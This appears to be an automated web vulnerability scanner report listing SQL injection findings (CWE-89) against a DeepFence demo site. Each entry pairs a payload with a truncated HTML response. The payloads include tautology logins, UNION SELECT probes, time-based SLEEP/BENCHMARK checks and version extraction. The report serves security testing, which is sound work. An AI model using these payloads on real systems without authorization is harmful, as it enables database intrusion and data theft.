7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1744
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin' or '1'='1'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1745
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 28--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1746
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND true
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1747
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# and (select substring(@@version,3,1))='c'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1748
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)+CHAR(65)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1749
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1750
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName ValueDemoUser1# HAVING 1=1#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1751
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT SLEEP(5)
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1752
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin") or "1"="1"/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1753
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1754
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# -1' UNION SELECT 1,2,3--+
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1755
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1756
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# or benchmark(50000000,MD5(1))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1757
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1758
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
